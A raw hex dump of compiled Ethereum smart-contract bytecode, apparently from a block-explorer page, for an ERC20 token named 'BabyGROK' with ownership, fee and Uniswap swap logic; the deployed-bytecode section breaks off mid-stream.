a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610a5690612db8565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8290612db8565b8015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050505050905090565b6000600c54905090565b6000610ba6610af0611474565b84610ba1856040518060600160405280602581526020016131d46025913960066000610b1a611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b6001905092915050565b6000610bc4610bbd611474565b8484611647565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfb611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90612a74565b60405180910390fd5b6001601060186101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550436011819055506001601060156101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061258c565b6040518363ffffffff1660e01b8152600401610ebe929190612945565b60206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0e919061258c565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611019578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc192919061296e565b602060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611013919061268c565b506111e6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b9919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611175919061258c565b6040518363ffffffff1660e01b8152600401611192929190612945565b602060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e4919061258c565b505b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ba611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906129f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612a14565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163a9190612af4565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612ab4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906129d4565b60405180910390fd5b6000821161176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612a94565b60405180910390fd5b601060149054906101000a900460ff16156117925761178b848484611bda565b9050611b11565b600061179d30610882565b9050601060149054906101000a900460ff161580156118065750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181e5750601060159054906101000a900460ff165b1561188957601060169054906101000a900460ff161561183e57600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061188881611dad565b5b611912836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119f85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a0c57611a07868686611e2b565b611a0e565b835b9050611a6281600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b029190612af4565b60405180910390a36001925050505b9392505050565b6000838311158290611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5791906129b2565b60405180910390fd5b5060008385611b6f9190612cea565b9050809150509392505050565b6000808284611b8b9190612c09565b905083811015611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc790612a34565b60405180910390fd5b8091505092915050565b6000611c65826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cfa82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9a9190612af4565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611dd181612052565b60004790506000811115611e0c57611e0b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261234e565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eb357611eac6064611e9e6009548661239990919063ffffffff16565b61241490919063ffffffff16565b9050611f31565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f3057611f2d6064611f1f600a548661239990919063ffffffff16565b61241490919063ffffffff16565b90505b5b600081111561203557611f8c81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202c9190612af4565b60405180910390a35b612048818461245e90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561206f5761206e612ea6565b5b60405190808252806020026020018201604052801561209d5781602001602082028036833780820191505090505b50905030816000815181106120b5576120b4612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061212657612125612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612200919061258c565b8160028151811061221457612213612e77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227b30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122df959493929190612b3f565b600060405180830381600087803b1580156122f957600080fd5b505af115801561230d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612342929190612b0f565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612394573d6000803e3d6000fd5b505050565b6000808314156123ac576000905061240e565b600082846123ba9190612c90565b90508284826123c99190612c5f565b14612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090612a54565b60405180910390fd5b809150505b92915050565b600061245683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124a8565b905092915050565b60006124a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b18565b905092915050565b600080831182906124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e691906129b2565b60405180910390fd5b50600083856124fe9190612c5f565b9050809150509392505050565b60008135905061251a81613166565b92915050565b60008151905061252f81613166565b92915050565b6000815190506125448161317d565b92915050565b60008135905061255981613194565b92915050565b60006020828403121561257557612574612ed5565b5b60006125838482850161250b565b91505092915050565b6000602082840312156125a2576125a1612ed5565b5b60006125b084828501612520565b91505092915050565b600080604083850312156125d0576125cf612ed5565b5b60006125de8582860161250b565b92505060206125ef8582860161250b565b9150509250929050565b60008060006060848603121561261257612611612ed5565b5b60006126208682870161250b565b93505060206126318682870161250b565b92505060406126428682870161254a565b9150509250925092565b6000806040838503121561266357612662612ed5565b5b60006126718582860161250b565b92505060206126828582860161254a565b9150509250929050565b6000602082840312156126a2576126a1612ed5565b5b60006126b084828501612535565b91505092915050565b6000602082840312156126cf576126ce612ed5565b5b60006126dd8482850161254a565b91505092915050565b60006126f283836126fe565b60208301905092915050565b61270781612d1e565b82525050565b61271681612d1e565b82525050565b600061272782612bc4565b6127318185612be7565b935061273c83612bb4565b8060005b8381101561276d57815161275488826126e6565b975061275f83612bda565b925050600181019050612740565b5085935050505092915050565b61278381612d30565b82525050565b61279281612d73565b82525050565b60006127a382612bcf565b6127ad8185612bf8565b93506127bd818560208601612d85565b6127c681612eda565b840191505092915050565b60006127de602383612bf8565b91506127e982612eeb565b604082019050919050565b6000612801602683612bf8565b915061280c82612f3a565b604082019050919050565b6000612824602283612bf8565b915061282f82612f89565b604082019050919050565b6000612847601b83612bf8565b915061285282612fd8565b602082019050919050565b600061286a602183612bf8565b915061287582613001565b604082019050919050565b600061288d602083612bf8565b915061289882613050565b602082019050919050565b60006128b0602983612bf8565b91506128bb82613079565b604082019050919050565b60006128d3602583612bf8565b91506128de826130c8565b604082019050919050565b60006128f6602483612bf8565b915061290182613117565b604082019050919050565b61291581612d5c565b82525050565b61292481612d66565b82525050565b600060208201905061293f600083018461270d565b92915050565b600060408201905061295a600083018561270d565b612967602083018461270d565b9392505050565b6000604082019050612983600083018561270d565b612990602083018461290c565b9392505050565b60006020820190506129ac600083018461277a565b92915050565b600060208201905081810360008301526129cc8184612798565b905092915050565b600060208201905081810360008301526129ed816127d1565b9050919050565b60006020820190508181036000830152612a0d816127f4565b9050919050565b60006020820190508181036000830152612a2d81612817565b9050919050565b60006020820190508181036000830152612a4d8161283a565b9050919050565b60006020820190508181036000830152612a6d8161285d565b9050919050565b60006020820190508181036000830152612a8d81612880565b9050919050565b60006020820190508181036000830152612aad816128a3565b9050919050565b60006020820190508181036000830152612acd816128c6565b9050919050565b60006020820190508181036000830152612aed816128e9565b9050919050565b6000602082019050612b09600083018461290c565b92915050565b6000604082019050612b24600083018561290c565b8181036020830152612b36818461271c565b90509392505050565b600060a082019050612b54600083018861290c565b612b616020830187612789565b8181036040830152612b73818661271c565b9050612b82606083018561270d565b612b8f608083018461290c565b9695505050505050565b6000602082019050612bae600083018461291b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612c1482612d5c565b9150612c1f83612d5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c5457612c53612dea565b5b828201905092915050565b6000612c6a82612d5c565b9150612c7583612d5c565b925082612c8557612c84612e19565b5b828204905092915050565b6000612c9b82612d5c565b9150612ca683612d5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cdf57612cde612dea565b5b828202905092915050565b6000612cf582612d5c565b9150612d0083612d5c565b925082821015612d1357612d12612dea565b5b828203905092915050565b6000612d2982612d3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d7e82612d5c565b9050919050565b60005b83811015612da3578082015181840152602081019050612d88565b83811115612db2576000848401525b50505050565b60006002820490506001821680612dd057607f821691505b60208210811415612de457612de3612e48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61316f81612d1e565b811461317a57600080fd5b50565b61318681612d30565b811461319157600080fd5b50565b61319d81612d5c565b81146131a857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ede80da56f42d30b3a2f97cc9c3c22de9749b84b0f94c768b5979c30f50d1ca064736f6c63430008070033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000041cdb4000000000000000000000000000000000000000000000000000000000000000084261627947524f4b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000084261627947524f4b000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610403578063a9059cbb14610440578063b2bdfa7b1461047d578063ca72a4e7146104a8578063dd62ed3e146104d1578063f2fde38b1461050e57610135565b806370a082311461032e5780638da5cb5b1461036b578063914eb66a1461039657806395d89b41146103ad578063a073d37f146103d857610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780633b97084a1461029d5780633ecad271146102c6578063557ed1ba1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd57806327c8f8351461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610537565b60405161015c91906129b2565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061264c565b6105c9565b6040516101999190612997565b60405180910390f35b3480156101ae57600080fd5b506101b76105e7565b6040516101c49190612af4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906125f9565b6105f1565b6040516102019190612997565b60405180910390f35b34801561021657600080fd5b5061021f6106cb565b60405161022c919061292a565b60405180910390f35b34801561024157600080fd5b5061024a6106f1565b6040516102579190612b99565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061264c565b610708565b6040516102949190612997565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906126b9565b6107bb565b005b3480156102d257600080fd5b506102ed60048036038101906102e8919061255f565b61085a565b6040516102fa9190612997565b60405180910390f35b34801561030f57600080fd5b5061031861087a565b6040516103259190612af4565b60405180910390f35b34801561033a57600080fd5b506103556004803603810190610350919061255f565b610882565b6040516103629190612af4565b60405180910390f35b34801561037757600080fd5b506103806108cb565b60405161038d919061292a565b60405180910390f35b3480156103a257600080fd5b506103ab6108f4565b005b3480156103b957600080fd5b506103c2610a47565b6040516103cf91906129b2565b60405180910390f35b3480156103e457600080fd5b506103ed610ad9565b6040516103fa9190612af4565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061264c565b610ae3565b6040516104379190612997565b60405180910390f35b34801561044c57600080fd5b506104676004803603810190610462919061264c565b610bb0565b6040516104749190612997565b60405180910390f35b34801561048957600080fd5b50610492610bcf565b60405161049f919061292a565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca919061255f565b610bf3565b005b3480156104dd57600080fd5b506104f860048036038101906104f391906125b9565b61122b565b6040516105059190612af4565b60405180910390f35b34801561051a57600080fd5b506105356004803603810190610530919061255f565b6112b2565b005b60606001805461054690612db8565b80601f016020809104026020016040519081016040528092919081815260200182805461057290612db8565b80156105bf5780601f10610594576101008083540402835291602001916105bf565b820191906000526020600020905b8154815290600101906020018083116105a257829003601f168201915b5050505050905090565b60006105dd6105d6611474565b848461147c565b6001905092915050565b6000600b54905090565b60006105fe848484611647565b506106c08461060b611474565b6106bb856040518060600160405280602881526020016131ac60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610671611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006107b1610715611474565b846107ac8560066000610726611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b61147c565b6001905092915050565b6107c3611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790612a74565b60405180910390fd5b80600c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108fc611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090612a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610a5690612db8565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8290612db8565b8015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050505050905090565b6000600c54905090565b6000610ba6610af0611474565b84610ba1856040518060600160405280602581526020016131d46025913960066000610b1a611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b6001905092915050565b6000610bc4610bbd611474565b8484611647565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfb611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90612a74565b60405180910390fd5b6001601060186101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550436011819055506001601060156101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061258c565b6040518363ffffffff1660e01b8152600401610ebe929190612945565b60206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0e919061258c565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611019578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc192919061296e565b602060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611013919061268c565b506111e6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b9919061258c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611175919061258c565b6040518363ffffffff1660e01b8152600401611192929190612945565b602060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e4919061258c565b505b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ba611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612a74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae906129f4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612ad4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612a14565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163a9190612af4565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612ab4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f9061